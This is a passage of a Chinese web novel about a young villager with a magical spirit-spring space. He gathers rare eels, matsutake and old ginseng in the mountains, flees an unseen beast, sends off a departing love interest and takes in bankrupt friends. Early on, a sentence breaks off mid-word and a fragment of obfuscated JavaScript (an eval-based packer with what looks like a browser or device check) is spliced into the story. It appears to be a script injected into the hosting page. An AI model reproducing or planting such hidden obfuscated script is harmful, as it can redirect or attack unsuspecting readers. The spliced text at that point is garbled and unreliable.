莫天扬心头微微一动，从拥有灵泉空间到现在，每一天他都会在饮用水中灌注灵泉水，人们吃的蔬菜、瓜果都是用灵泉水浇灌出来，爷爷整体看来要比以前真的年轻了不少，只不过在胡标他们眼中，是因为莫天扬有了事业，莫啸心情变好这才变得年轻。 “好，你走之前，我多给你备些一些，不过一定要记住，药水是我自己配制出来的，没有经过任何检验，千万不要拿出去显摆，即使送人的话就说是山泉水，不要说是药水。” 颜若曦深吸一口气，仿佛下定了某种决心。她再次抬起头时，脸颊微微泛红，目光却径直迎向莫天扬。 “我走了以后……你会想我吗？” 莫天扬点点头，语气里带着几分认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莫天扬淡然一笑：“不急，我没打算明年就干成。慢慢来，一步一个脚印。” “我老了，帮不上你什么了。胡标他们有时候未必能理解你的想法，很多事……你得自己琢磨清楚。”莫啸说着，慢慢转身走去。 走出几步，他又停下，没有回头：“这段时间，是不是遇到什么难处了？” “没有。”莫天扬轻声答道。 莫啸长长舒了一口气：“没有就好。” 望着爷爷渐行渐远的背影，莫天扬深吸一口气，神情变得凝重。**针对王传林的究竟是不是悍匪李家的余孽，即便猜测属实，他心里也并没有十足把握。 眼下一切都只是推测，没有真凭实据，他不能轻易说出口。爷爷已经老了，他是真的不愿再让爷爷为自己操心。 第一百六十章紫鳝、松茸 晚饭时分，莫天扬注意到颜若曦举止如常，曹慧等人也并未多言，这让他略感意外。餐后，颜若曦与刘思雨只简单与大家闲聊片刻，便一同进了颜若曦的房间。 直至众人散去，也未见她俩出来。等莫天扬从酒坊回来时，两人屋内的灯早已熄了。 回到自己房中，莫天扬将灵泉水注入颜若曦事先备好的纯净水桶，随后心念一动，进入了灵泉空间。 空间之内，他小心翼翼地挖出一株五十年以上的黄芪，又采了两株老山参，一株约五十年，另一株已是百年有余。 正欲离开时，他忽然心中一动，想起前些日子那两颗淡金色的鸟蛋，脚步不由自主朝那个方向走去。 走近一看，莫天扬顿时怔住——巢中只剩零星蛋壳。他下意识环顾四周，却只见成群的山鸡、野鸡，还有混迹其间的小鸡，叽叽喳喳，跑来跑去。 带着一丝不甘，他又绕着小岛仔细找了两圈。之前送进来的山鸡、野鸡、黄羊、青狼，甚至后来添的小鸡，都一一映入眼帘，却唯独不见他期待中那道陌生的身影。 “该不会是被山鸡或野鸡看出来，把蛋给吃了吧……” 想到这里，莫天扬眼中掠过一抹无奈。那毕竟是他从未见过的鸟蛋，原本还期待着能孵化出什么新奇生灵，却没想到落得这个结局。 他轻轻叹了口气，摇摇头，转身走向水域。目光扫过浅水处，忽然眼前一亮——清澈的水中，除了密密麻麻的虾蟹，还有一群群通体金黄的黄鳝，正悠然游动。 这些黄鳝放进空间已有些时日，近来他忙于他事，很少进来采摘瓜菜，竟差点忘了它们的存在。没想到，不知不觉间，它们已繁殖得如此兴旺。 颜若曦即将回家，山鸡、野兔不便携带——如今这些也算保护动物，带出去只怕会惹来麻烦。但黄鳝就不同了，南方常见，爷爷也曾说过，青木山脉中的黄鳝味道尤其鲜美。带些给她回去，倒是合适。 …… 东方刚刚泛起鱼肚白，莫天扬就已来到上次捕捉黄鳝的溪边，拨开草丛，仔细寻找那种连爷爷都极少见过的紫色黄鳝。 抬头看了眼不远处徘徊的大青、小白和青狼，他深吸一口清晨湿润的空气，继续俯身寻觅。 忽然，溪流中一抹紫色一闪而逝。莫天扬心头一跳，快步追过去，随即涌起一阵狂喜：水边的草丛里，赫然有两条近一米长的紫色黄鳝！ 似乎察觉到了危险，紫鳝猛地窜向深草。亏得莫天扬眼力极好，否则真就让它们逃了。即便如此，等他赶到时，两条紫鳝已钻入一个小洞。 若是寻常捕鳝人，此刻恐怕只得掘土挖洞。但对拥有灵泉空间的莫天扬来说，引出它们，只需些许灵泉水便是矣。 他将周围迅速围起，在洞口滴入数滴灵泉水。不过二十几次呼吸的时间，那两条紫鳝便探出头来，忘情地吞食起灵泉。 莫天扬眼疾手快，一把泥堵住了退路。洞口被封，四周被围，两条珍稀的紫鳝，就这样成了灵泉空间中的新成员。 令他惊讶的是，仅仅收获这两条紫鳝，胸前的印记竟散发出明显热度——这灵物，竟让空间又一次发生了蜕变。 耗费的时间虽不少，但只捉到两条紫鳝，莫天扬却并不失望。他知道黄鳝往往成对出没，既有这一对，用不了多久，灵泉空间中便能繁衍出更多紫鳝。 他将注意力从紫鳝移开，望向两侧郁郁葱葱的古木林。参天古木巍然耸立，他忽然想起这几天正雇人砍伐树桩的事，心中不由一动。 莫天扬深吸一口气，走进古木林。他打算找些小树苗移进空间——新物种的加入总能引起空间变化，而一旦林木成材，日后若需木料，也就不必再额外花钱了。 林中的古木不知已历经多少岁月，落地的果实虽能发芽成苗，却往往因争不过大树而难以存活。一路走进，莫天扬不禁摇头：地面上积着厚厚的松针，不少地方还有野猪拱过的痕迹，堆叠的松针几乎深可没膝。 他只能寻找一些略微凸起的地面。不过十几分钟，已有十多株松柏成了空间的新成员。也就在那一刻，他再次感知到了空间的细微变动。 正当他经过一株尤其粗壮的古松时，脚步蓦地顿住——在一堆已近腐烂的松针之下，他瞥见一簇褐盖白柄、满披毛状鳞片的蘑菇。 他快步走近，蹲下身仔细看去，眼中顿时涌出难以抑制的激动：这可不是寻常菌类，这是被誉为“菌中之王”的松茸。 松茸通常生长在海拔一千五百米以上的松林中，对环境要求极为苛刻，营养价值远超一般菌类，对人体更是益处良多。也正因如此，它在餐饮界是名副其实的奢侈品。普通人难得一见，即便有钱人，大多也只能尝到人工培育的品种。一顿野生松茸，其价值足以让一个普通家庭宽裕数年。 前几次进入林中，莫天扬也曾留意寻找，却始终未见踪迹。没想到今天为了移栽树苗，竟意外撞见。 他强压激动，小心翼翼地将生长松茸的腐殖土层整体移入空间，专门安置在刚栽下树苗的区域。内心不禁期待起来：待林木成荫，或许林中就能孕育出成片的松茸。 空间再次传来隐约波动，莫天扬环顾四周，深吸一口气。既然这片松林能长出松茸，别处或许也有。带有菌种的土壤才是繁衍的关键，他打算继续寻找更多带着孢子的土层。 他一路留意，接连又发现几处松茸生长点，都仔细地将菌体与土壤一并送进空间…… 就在他再次移入一丛松茸，起身舒展有些发酸的身体时，忽然眉头一紧——一股腐臭味随风飘来。 莫天扬皱紧眉头，循着气味的方向走去。下一刻，他瞳孔骤然收缩：一株古树下，赫然躺着三头已高度腐败的野猪尸体。最大的一头，估摸至少有四百多斤。 如此体型的野猪，就算是大青领着狼群也未必能轻易猎杀。可这里竟一下子出现了三头……莫天扬心底不由升起一股寒意。 他回头看向始终跟在身后的大青和狼群，从它们眼神中读出了一丝不同寻常的警惕。唯有小白仍如往常，一副浑然不觉的模样。 “大青，回去。” 大青低吼一声，狼群应声而动。莫天扬迅速转身沿原路返回。刚接近山脚，一声震彻群山的咆哮突然自远方传来，震得他心头莫名一颤。 再看前方的青狼，早已尾巴紧夹、耳贴脑后——莫天扬再熟悉不过，这是它们面对绝对无法抗衡的强大存在时的反应。 就在他惊疑不定时，身边的小白却突然仰头，朝着远山的方向发出一声清亮的长啸。 莫天扬脸色顿变。他不是动物，却从爷爷那里听过不少山林间的秘闻：小白的这声长啸，在动物耳中无异于赤裸裸的挑衅，极可能将那个可怕的存在引来。 他快步上前，一把将小白收进空间，急声道：“大青，快走！” 莫天扬几乎是狂奔而下，身后的咆哮声却一声接着一声，越来越近、越来越响。他心中又惊又悔，真不该带小白进山——这家伙不知天高地厚，连青狼群都不敢出声的时候，它竟…… 不知跑了多久，直到那骇人的咆哮彻底消失在身后，莫天扬才终于敢停下脚步。这时他才发觉，自己的衣衫早已被枝杈刮得破烂不堪，后背也早已被冷汗浸透。 他将小白从空间中放出，抬手在它头上轻轻拍了两下，语气严肃：“小白，这青木山里猛兽遍布，你这样挑衅，会给我们带来大麻烦。如果再有下次，我不会再带你进山。” 小白像是听懂了一般，低低呜咽一声，大脑袋讨好地蹭了蹭莫天扬的腿。他心头不由一软。 “以后要听话，尤其得听大青的。” 大青在一旁低吼了几声，小白却爱理不理。莫天扬无奈摇头：这家伙，回去真得好好训一训了，不然以后入山，迟早要惹出祸事。 看了看时间，他轻轻叹了口气。原本还打算多采些松茸，再去别处碰碰运气，这一番奔逃，竟白白耗去了两个多小时。 “大青，回家。” 走到青木山口的一片胡杨林边，莫天扬停下脚步，看向大青：“你带狼群守在外面，我进空间取些东西。” 等莫天扬从灵泉空间出来之后，他将一个个袋子从灵泉空间拿出来，一瞬间他周围都是大袋子。 深吸口气，他将袋子分配挂在包浆木棒两头。 等莫天扬将袋子挂好，他抬头看向天空，远空中只能看到一抹抹橘红。 深吸口气，莫天扬弯腰钻进袋子堆中，等他站起来的时候，几乎看不到他的身子，也只有脑袋还留在外面。 “大青、小白，回家啰。” 大青、小白仰天长啸，跟着他们回来的青狼也长啸着回应，不过他们并没有跟着走出大山，而是转头朝着青木山的深处过去。 大青小白的长啸，让狼群驻足，而青木村那边，陈宏利、胡振南他们在听到大青、小白的啸声之后，他们都知道是莫天扬回来，几个年轻人都朝着青木山的方向过去，这一次不说是他们，就是颜若曦、刘思雨都跟了上去。 第一百六十一章重礼？ 青木村，简易房不远处的帐篷下灯火通明。胡标、陈峰等人不时探头，望向远处渐渐走近的人影。当陈宏利、莫红兵他们将一个个沉甸甸的布袋放下时，连胡睿一家三口也围了上来，大家都迫不及待想看看莫天扬这次带回了什么山货。 袋口一解开，胡睿不由得低呼出声：金银枣、血瓜瓜、黑草莓、雪灵菇……这些都是山里难得的顶级山货，就连他这般年纪的人都少见，更别说那谁也不认识的紫皇菇。 “天扬，这又是什么？”胡亮指着那颜色深紫、形态特别的蘑菇，满眼好奇。 “这叫紫皇菇，口感比雪灵菇还要好。” 另一边，陈峰朝儿子陈宏利吩咐：“去把山鸡野兔清理一下，放不到明天。”几个年轻人便提着山鸡野兔忙活去了。 莫天扬这时将一个布袋递给爷爷莫啸。莫啸略带疑惑地打开，下一刻瞳孔微缩，声音不由扬起：“是松茸！” 众人一下子围了上来。袋中的松茸体型饱满、色泽温润，大多数人都只闻其名未见其形，此刻不禁啧啧称奇。 颜若曦眼眸微亮，轻声说：“爷爷，这松茸的个头真大。” 莫啸笑着看向她：“青木山是块风水宝地，这儿的松茸尤其不同，别的地方可比不上。过去的皇帝有机会尝到紫皇菇，却未必能吃上青木山的松茸。” “若曦，纯野生的松茸价格很高，一斤就要好几千，这种品相的可能更贵吧？”有人问道。 颜若曦摇摇头：“这样品质的松茸我也第一次见，恐怕不止几千。一般人确实消费不起，回头可以让涛哥帮忙出手。” 莫天扬深吸一口气，忽然开口：“你不是要回家了吗？这些都带回去吧。” 这话让气氛蓦地静了下来。大家都清楚颜若曦来自大城市，但她一点架子也没有，待人亲切、勤劳能干，再加上容貌出众，村里没有人不喜欢她。此刻听说她要走，个个面露不舍，曹慧更是眼眶泛红。 “若曦，你要回去了？” “慧姐，我爷爷生病住院了，得回去看看。等有空我还会再来的。” 胡标深吸一口气，朗声道：“天下没有不散的筵席。若曦来了这些日子，回去看看很正常。以后想回来，随时欢迎！各样山货都给她多装点，天扬常进山，可这些好东西在大城市里根本见不到。” 莫天扬又从袋子里取出两样东西——一根粗壮的黄芪和带着翠叶的老山参。“今天运气好，找到些好东西。你爷爷年纪大了，带回去给他补补。” 那黄芪差不多有成人胳膊粗细，胡标等人不禁倒抽一口凉气：“莫叔，这黄芪得有几十年了吧？” 莫啸点点头：“五十年只多不少。”他接过莫天扬手中的老山参，仔细端详，声音里透着赞叹：“五十年份、百年份的老山参……这放在青木山里也是宝贝，你小子运气真是好。” 四周响起一片吸气声。这一次，连颜若曦和刘思雨都睁大了眼睛。老山参的价值人所共知，野生老山参本就珍贵，年份越久越是价高难求。五十年份的已属难得，百年份的更是有价无市，就连颜若曦这样的豪门千金，也只是听说过。 “天扬，黄芪我收下，老山参太贵重了，我不能要。你托人把它们卖了，能解决不少实际问题。” 莫啸眼神温和，劝道：“丫头，听你说你爷爷也八九十了。这种东西可遇不可求，带回去给他补身体。要是实在过意不去，适当补他点钱就行。如果他真卖了，你舍得吗？” 颜若曦微微一怔，轻轻点头：“那好，我带回去请爷爷找人看看，到时候转钱给你。” 莫天扬挠了挠头，笑得淳朴：“不用那么较真，说不定我改天又挖到了呢。这东西放我这儿，也就是炖个鸡什么的。” 颜若曦不由笑出声：“你真把老山参当萝卜啦？拿来炖鸡简直是暴殄天物。我带走了，回头一定转钱给你。有了这笔钱，你以后做点什么也宽裕些。” “随你吧，不过意思意思就行了，这些都是送你的礼物，要是收钱的话，那就不成礼物了。” 莫啸轻轻叹了口气，起身拿了几个松茸，“我去炖个汤。” “爷爷等一下，这次我还抓了不少黄鳝，再煮个黄鳝汤吧，剩下的都让若曦带走。” 黄鳝？莫啸顿时来了兴致，其他人也纷纷露出期待的神情。前段日子莫啸就提起过青木山的黄鳝，不仅没有土腥味，口感还特别鲜嫩，大家早就想尝一尝了。 一个袋子打开，半袋子活蹦乱跳的黄鳝顿时映入眼帘。每一条都有七八十公分长，最大的几条甚至超过一米。 “这么多？”看到这么多又如此肥大的黄鳝，连莫啸都感到惊讶。 “来几个人帮我清理黄鳝，剩下的找个水桶装起来，只要有水，它们一时半会儿死不了。” 天色彻底暗了下来。分好山货后，大家陆续走进餐厅。和往常不同，或许是因为颜若曦即将离开，气氛显得有些沉闷。曹慧和刘思雨的眼圈还微微泛红。 就在这时，一股特殊的香气弥漫开来，所有人都愣了一下，不约而同朝外望去——只见莫天扬和陈宏利端着一个大盆从外面走进来，那诱人的香气正是从盆中飘出来的。 “这是……” “松茸汤，大家都尝尝。” 每人盛了一碗，小心地喝了一口。下一刻，所有人的眼睛都亮了起来，就连莫天扬自己也露出难以置信的表情。这汤不仅极其鲜美，更带着一股独特的香气。汤汁入腹，一股暖流顿时在体内流动，舒畅无比。 “莫叔，这松茸汤也太好了，比紫皇菇的汤还香！” 莫啸淡淡一笑：“青木山里的好东西太多了，只不过很难带出来。也是天扬运气好，不然你们这辈子可能都尝不到这样的松茸汤。” 说完，他看向莫天扬：“小子，这段时间正是青木山松茸最有营养的时候，有空再去碰碰运气吧。” “行，反正最近没什么事，我多进几趟山。” “天扬，我们也没事，带我们进山看看吧！”陈宏利迫不及待地说。 莫天扬看着他期待的眼神，深吸一口气：“你们真的不能去。今天要不是有大青和青狼，我可能就回不来了。” “什么？” “小子，遇到什么了？”莫啸皱起眉头，神色凝重起来。 莫天扬摇摇头：“我也不清楚。在一片林子里看到了三头腐烂的野猪，最大的一头少说也有四百斤。不知道是被什么动物杀死的，我只听到一声咆哮，大青就带着我赶紧逃了。” 这番话让所有人都看向莫啸。他是村里最年长的人，早年经常进山，见多识广。大家都想知道，究竟是什么东西能猎杀三头大野猪，其中甚至可能有一头野猪王。 莫啸目光闪烁了几下，缓缓说道：“应该是熊吧。” “莫叔，青木山里还有熊？” “山里的物种多着呢，很多动物在外面根本见不到。所以你们不能随便进山。天扬是有青狼守护，不然我说什么也不会让他进去。” 莫啸语气平淡，却彻底打消了陈宏利几人进山的念头。他们自问连野猪王都对付不了，更别说能轻易杀死野猪王的猛兽了。 见陈宏利几个沉默下来，莫天扬笑了笑：“尝尝黄鳝汤吧，这可是大补。” 一口黄鳝入口，所有人的眼睛再次亮了起来。陈峰、曹勇他们不太了解黄鳝，只是觉得鲜美无比；但颜若曦不同，她吃过不少黄鳝，能明显感觉到这黄鳝的口感远胜从前。 再喝一口汤，她不禁轻轻摇头——不知是黄鳝本身就好，还是莫啸手艺高超，这黄鳝汤的滋味，竟丝毫不逊于刚才的松茸汤。 晚饭后，人们陆续散去。莫天扬本想找颜若曦说说话，毕竟她明天就要走了，但莫啸离开时朝他摆了摆手，让他只得作罢。 “爷爷，您有事？” 莫啸看向莫天扬，语气严肃：“天扬，你没进那些不该去的地方吧？” 莫天微微一愣。这次进山光顾着找紫鳝，没太留意方位，具体去了哪里，他自己也不太清楚。 “爷爷，一开始我在找黄鳝，没太注意。后来发现了松茸，所以就……” “我一直觉得你是个稳重的孩子，看来是我看走眼了。你要知道，青木山很多区域有外面根本没有的凶兽。这次是你运气好，万一真遇上那些东西，就算有大青在身边，你也未必回得来。” “爷爷，下次我一定注意。” “若明天就要回去了，有些话我得提醒你。” 莫啸第一次主动谈起颜若曦，让莫天扬心头一紧：“爷爷，她……” 莫啸深吸一口气：“那丫头虽然什么都没说，但你应该也能从她的言谈举止看出来，她的家世不一般。我能看出若曦对你有意，但你们之间的差距太大。虽说现在是自由恋爱，可一旦她家里插手，你们未必能走到一起。所以你要想清楚。倒是思雨那丫头，或许更适合你。” 第一百六十二章离愁？ “爷爷，您说什么呢。”莫天扬声音有些发涩。 莫啸微微叹息一声，目光沉凝：“这一次你就听我的，好好考虑一下。我不想看着你重蹈你父母的覆辙。” 莫天扬身子一震，声音不由急促起来：“爷爷，我爸妈他们……” 莫啸摆了摆手，神色疲惫：“等我闭眼的那一天，自然会全部告诉你。去吧，别吵我看电视。” 莫天扬喉头动了动，还想再问些什么，却深知爷爷的脾气——他若不愿说，再怎么追问也是徒劳。他只得默默退出房间，轻轻带上了门。 令他意外的是，不过短短半小时，颜若曦和刘思雨的房里已经熄了灯。窗棂漆黑，宁静得让人心头发空。莫天扬在门外驻足片刻，终究没有打扰，只是带着大青和小白，默默在院落和酒坊周围转了一圈。 回到自己房中，他拿起书翻了几页，却一个字也看不进去。爷爷那番话像根刺般扎在心里，搅得他心烦意乱。最终他合上书页，锁门关灯，心神一凝，进入了灵泉空间。 空间里的景象令他微微一怔。新物种的入驻使得那片小岛又扩展了不少，昨日才移栽进来的松柏已然参天而立，形成了一片约有几亩地的小树林。林间绿草茵茵，想必是移栽时不小心带进来的草籽，在此处疯长起来。 山鸡、野兔，甚至那群黄羊，都不约而同地将这片新生的树林当作了栖息地。而生息繁衍之间，最原始的猎杀也在悄然上演——青狼的身影在林间穿梭，带起一阵窸窣草动。 莫天扬对这类弱肉强食的景象并不挂心。物竞天择本是自然法则，唯有如此，生灵才能不断进化。他更关注的，是林下土壤中是否孕育出了他期盼已久的菌中之王——松茸。 很快，在一株苍劲的松树下，草丛间几点褐盖白杆的蘑菇撞入眼帘。那毛茸茸的鳞片，正是松茸无疑。莫天扬长长舒了一口气。 虽说是藉由灵泉空间之力催生而成的树林，但能成功孕育出松茸，已足够令他欣慰。他按捺住心中激动，又巡查了其他几片区域，果然发现了更多冒头的松茸。看来随着空间内树林不断延展，松茸的产量也会逐步增加。 正当他心下稍宽，准备转身离开时，脚步却猛地顿住——草丛里竟躺着半只野兔尸体。 莫天扬眉头一蹙，下意识望向远处狼群活动的方向。可他俯身拾起那半只野兔时，却不由得愣住：内脏已被掏空，吃法干脆利落，绝非青狼所为，倒像是某种猛禽的手法。 可他明明不记得空间里收容过什么猛禽…… 蓦地，他眼睛一亮，想起之前无意间带入的两枚淡金色鸟蛋。难道它们并未被山鸡或野兔啃食，反而孵化出来了？ 他迅速在林间搜寻了一圈，却一无所获。站在林地边缘，望着眼前近百亩的果蔬林木，莫天扬摇了摇头——在如此广阔的区域里寻找一只不知种类的飞禽，无疑是大海捞针。 这一夜，虽说灵泉空间再次有了变化，而且还孕育出松茸，可他睡得并不安稳。 翌日清晨，天光微亮，莫天扬便已醒来。他原想照常看会儿书，可一想到颜若曦即将离开，心绪又一次纷乱如麻。 洗漱了一下走出房门，大青和小白已经在外面活动，见他出来立刻亲热地围了上来。莫天扬望向颜若曦和刘思雨的房间，窗帘依旧紧闭，他没有打扰，迎着清晨微凉的风，朝酒坊走去。 在酒坊里，莫天扬埋头苦干，仿佛只有身体的疲惫才能暂时压住心里的纷乱。直到陈宏利他们陆续到了，他才停下手中的活儿。 “天扬，现在也不忙了，这些活儿我们来做就行。” 莫天扬抹了把额上的汗，“爷爷常说，做一行就得精一行。自己不动手，我这酿酒的手艺永远不算过关。” “你快回去洗洗吧，若曦今天不是要走吗？这一身汗味怎么送人家。” “就是，若曦对你可不是一般的有意思，这一别不知什么时候才能再见，你不跟人家好好告个别？” 几个发小你一言我一语，说得莫天扬耳根发热。他无奈地瞥了他们一眼，推门出了酒坊。 回到简易房时，陈峰和胡标已经把要带走的山货袋子搬出来，整齐地放在门口。颜若曦正与刘思雨、曹慧站在一起低声说话，刘思雨和曹慧眼睛都有些发红。 见到莫天扬回来，颜若曦抬眼望来。那双杏眸里情绪翻涌，有留恋，有不舍，还有些莫天扬读不懂的复杂。只这一眼，莫天扬就觉得心口微微发酸。他朝她点点头，轻声道：“等一下，我给你准备了水。” 迅速洗漱换衣后，莫天扬提来了两个沉甸甸的水桶。胡标和陈峰见状都愣了愣：“天扬，这是……？” “院里那口井的水，若曦想带一些回去。” 胡标点点头，“这井水确实甜，比自来水好喝多了。现在回家喝自来水都觉得没味儿，带点回去挺好。” 一样样山货被搬进刘思雨车子的后备箱。颜若曦忽然走向莫天扬，轻轻抱了他一下，随即转身拉开车门。就在她低头上车的瞬间，莫天扬清楚地看到她脸上泪痕斑驳。 车子驶远，莫天扬只觉得心里空了一块。他沉默片刻，对胡标他们说：“标叔，我进山去看看，能不能再找些松茸。” “天扬，山里危险，你心情不好就别去了。”他们都是过来人，怎会看不出莫天扬情绪低落，纷纷出声劝阻。 “没事，有大青和小白跟着。” 望着莫天扬带着两条狗走向青木山的背影，那略显落寞的身形让胡标几人不由轻声叹息。 “胡标，若曦和思雨好像都对天扬有意思，两个姑娘都这么优秀，你们说天扬会选谁？” 胡标愣了一下，摇摇头，“两个都太好，也许天扬自己也难选，所以才一直不敢表示……” “若曦确实不错，但她毕竟是从大城市来的，就算她愿意，她家人能同意她来青木村吗？倒是思雨的父母见过天扬，对他挺满意的，思雨或许更合适些。” “慧慧，你和若曦常在一起，她跟你提过家里的事吗？” 曹慧摇摇头，“问过几次，她都没细说……” 莫天扬浑浑噩惚地走到青木山口附近，一路上不知滑了多少次。再次踉跄跌倒后，他索性不再起身，就在胡杨林里找了块地方躺了下来。 不知不觉中，他竟然睡了过去。等再睁开眼时，长长吐出一口郁结的浊气，摸出手机一看，不由得摇头苦笑——本想静一静心，却没想一睡就是几个钟头。 他站起身，望向苍茫连绵的青木山，拍了拍身边安静守护的大青和小白，“今天没时间往里走了，咱们就在附近转转吧。” 一下午的时间，莫天扬不知走了多远。山鸡野兔不时从眼前掠过，却始终没找到他真正想要的东西。 夕阳西沉，他深吸一口气，让大青和小白在旁守护，自己则悄悄从灵泉空间中取出事先备好的松茸，又捞了些黄鳝，摘了些金银枣和黑草莓，简单收拾一番，准备下山。 刚走几步，他却忽然停下。目光被一簇胡杨的嫩芽吸引——想起在岛上生活的山鸡野兔，他心里忽然有了个念头。 他折下一些胡杨和红柳的枝条，送进空间。正要起身时，胸口忽然一热。 普通的胡杨和红柳，竟也能引动空间变化？莫天扬有些意外。他早知道新物种能触发灵泉空间响应，却没想到这些再寻常不过的草木，引起的变化比小麦和谷子还明显。一瞬间，他来了兴致。 回到村里时，胡标和曹勇等人见他衣衫破损、满身尘泥，不禁连连摇头。 “天扬，在山里没遇到啥危险吧？” 莫天扬淡淡一笑：“有大青和小白在，它们能提前觉察危险，我没事。” 他边说边望向刘思雨的房间——没有灯光，再看向帐篷中的人群，问道：“思雨没回来？” “她回家了。” 莫天扬点点头，“把这些整理一下吧，我先回去洗洗。” 洗漱换衣后，他再出来时，胡标几人纷纷看过来：“天扬，你这运气真没得说，今天的收获一点不比昨天少，黄鳝好像还更多些。” 莫天扬笑了笑：“那条溪里黄鳝确实多，昨天练熟了手，今天就更顺了些。” “天扬，来，我教你处理黄鳝。” 莫天扬应了一声，转头看向曹慧：“慧姐，你也一起来学学。” 曹慧微微一怔，望向莫啸，有些不确定地问：“我也去？” 莫啸点头说道：“慧慧，你做菜有天分，天扬也看好你。多跟着学学。不过做菜这件事，讲究悟性，最终能走到哪一步，还得看你自己。” 这话一出，不止曹慧，连陈峰和曹建华夫妻都激动起来：“慧慧，还愣着干嘛，还不谢谢人家！” 莫啸摆了摆手：“现在不兴过去那一套了。慧慧是天扬挑的人，他这个当师父的都不讲这些虚礼，我更不必。” 第一百六十三章投靠 “想我了没？” 晚饭后，莫天扬刚在院子和酒坊转完回到房间，就接到了颜若曦的电话。这直白的一句问候，让他顿时愣在原地。 他几乎是下意识地轻声回答：“想了。” 电话两端忽然安静下来，片刻后，颜若曦的声音才再次响起，语气轻松了几分：“听慧慧姐说，你今天又进山了？” “前天的山货都让你带走了，大家还想吃，趁天气不错，就再去摘些回来。你那边一切都顺利吧？” “特别顺利！你送的那些山货，可让我们全家高兴坏了。爷爷把紫烟和屠苏都藏起来了，连我爸他们想喝一口，都得看爷爷脸色呢。” 莫天扬忍不住笑了：“我这儿还有呢。” “我知道你有。紫烟、屠苏，还有那些山货，都是有钱也难买的好东西。爷爷特地请人看了，别说紫烟、屠苏、老山参和黄芪了，就是松茸、紫皇菇那些，真要拿出去卖，每样都能值好几万。” “也就是物以稀为贵罢了。你们家人喜欢就好，回头我再给你存一些。” “那你知不知道那黄芪和老山参值多少钱？” 莫天扬语气平静：“不管值多少，送你就是送你。青木山里，这些东西还不算难得。” “傻瓜，那黄芪是品相最好的老货，一根就值几万。那两根老山参，更是能卖到上百万。爷爷说了，别的山货可以不谈钱，但参和黄芪必须给钱。我这就转你一百万。以后要是还能找到这种品质的，一定帮我留着，我帮你出手。” 之前听张学涛提过老山参价值不菲，如今连颜若曦家也这么认可，莫天扬心里自然高兴。 “好。不过年份久的药材长成不易，不到必需，我一般也不轻易带出山。” “你现在不是最需要资金吗？有了这些，你根本不用为钱发愁。” 莫天扬轻轻叹了口气：“若曦，钱来得太容易未必是好事。树大招风，怀璧其罪。一旦外人知道青木山里有顶级山货和药材，不知会有多少人为利益闯进来。爷爷说过，深山里很多走不出来的山客，最后都成了黄土一堆。所以……” “我明白了。以后你有什么需要，随时跟我说。我在京城也认识一些人。” “对了，我爷爷也是老兵。我偷拍了他几张照片，却没一张清晰的。你什么时候方便，拍张你爷爷的照片发我？说不定他们以前还是战友呢。” “若曦，这我真帮不了。爷爷从来不肯拍照，到现在连身份证都没有。” “那他参加过哪些战役，总该说过吧？” “他从来没提过……” 电话挂断之后，莫天扬忽然察觉，心头那阵莫名的烦躁竟悄然消散。他不由摇头笑了笑，情绪也不知何时变得明亮起来。 接下来的几天，颜若曦每天都会通过微信或电话和莫天扬聊上一会儿。她的声音似乎有种魔力，总能轻易抚平他心头的褶皱，莫天扬的心情也渐渐恢复如常。 倒是曹慧他们，每次提起颜若曦，总会不自觉地沉默片刻。自颜若曦离开后，刘思雨也每天都回家。好在林浩宇已被抓，莫天扬并不太担心她的安全。 日子总要继续。沙地与雀沟依然热闹。靠近院子的雀沟边上，堆放着一根根烧得焦黑粗大的木桩，码得整整齐齐。村里人每天都会过来，把莫天扬用不上的焦木带回家当柴火。 整个村子仿佛都在忙碌，唯独莫天扬在大家眼里成了最“不务正业”的那一个。每天除了固定酿酒、生豆芽，他大多数时间都带着大青和小白往青木山跑。用他的话说，只是“去山口转转”。 胡标他们都以为，莫天扬是因为颜若曦和刘思雨的事心烦，才总去山里散心。没人知道，他每日进出山口另有目的——他悄悄将灵泉空间中的松茸、紫皇菇、雪灵菇，以及木耳、地皮菜拿出来晒干，还会定期炒制一锅紫烟。 所有这些晒好的山货，最后都被他收进灵泉空间。他的秘密，至今无人知晓。 这天，莫天扬正翻晒蘑菇，接到了张学涛的电话：“天扬，在哪呢？我们过来蹭顿饭。” “我在青木山这边，稍等，我马上回去。” 回到简易房前，莫天扬微微一愣——他只看到张学涛那辆商务车，再没别的车辆。 “张学涛和谁一起来的？”他心里嘀咕。 走进会客室，他见到了许久未见的王传林、李红军等人。和以往不同，他们每个人看上去都很憔悴，衣着朴素，身上再也找不到从前那种意气风发。 一见莫天扬进来，王传林几人立刻站起身，看向他的眼神里带着难以掩饰的感激。 “王哥，你们的车呢？” 王传林几人表情一僵，苦笑道：“天扬，我们现在个个一身债，成穷光蛋了，哪还有车。” 莫天扬尴尬地笑了笑，目光扫过茶几：“我来沏茶。” 一口紫烟入喉，王传林几人长长舒出一口气。“天扬，这回真得谢谢你。要不是你，他们几个现在恐怕还出不来。” 莫天扬摆摆手：“朋友之间，不说这些。你们的事都处理完了吗？” 王传长叹一声：“算是了吧。公司、房子、车子全没了，每个人背了一身债，真成穷光蛋了。” “对方那边……？” “不清楚。我们都是跟不同的公司、集团签的合同，只能怪自己当初看走眼，被做了局。合同白纸黑字没问题，我们认栽。” 想到那天王海龙说的话，莫天扬目光闪了闪：“王哥，你们有没有想过，是不是得罪了什么不该得罪的人？” 王传林几人互相看了看，苦笑着摇头：“我们也这么猜过，可想破头也没觉得得罪过什么大人物。再说那些给我们下套的公司、集团彼此好像也没什么关联，看上去就是正常的业务往来。” “那接下来，你们有什么打算？” “还能有什么打算？想东山再起也得有本钱，我们现在负债累累，没机会了。天扬，我们想好了，就跟着你干。我们几个帮你跑外勤，有口饭吃就行。” 莫天扬连忙摇头：“王哥，这说的什么话。你们都是见过风浪的人，哪能给我打工？就算你们愿意，嫂子她们也不会同意。” 几人脸上再度浮起苦涩：“我们现在，都是光棍一条了。” “什么？”莫天扬一怔。 “天扬，王哥他们一出事就感觉翻不了身，提前都安排好了。现在负债的是他们自己，总好过拖累老婆孩子受苦。” 莫天扬轻轻叹了口气：“不是还有一个新注册的公司……” “天扬，那个公司本来就是为你准备的。以后，我们就是你的人了。” 莫天扬重重点头：“行，既然大家信得过我，我们就一起拼。有我一口，就有大家一口。” 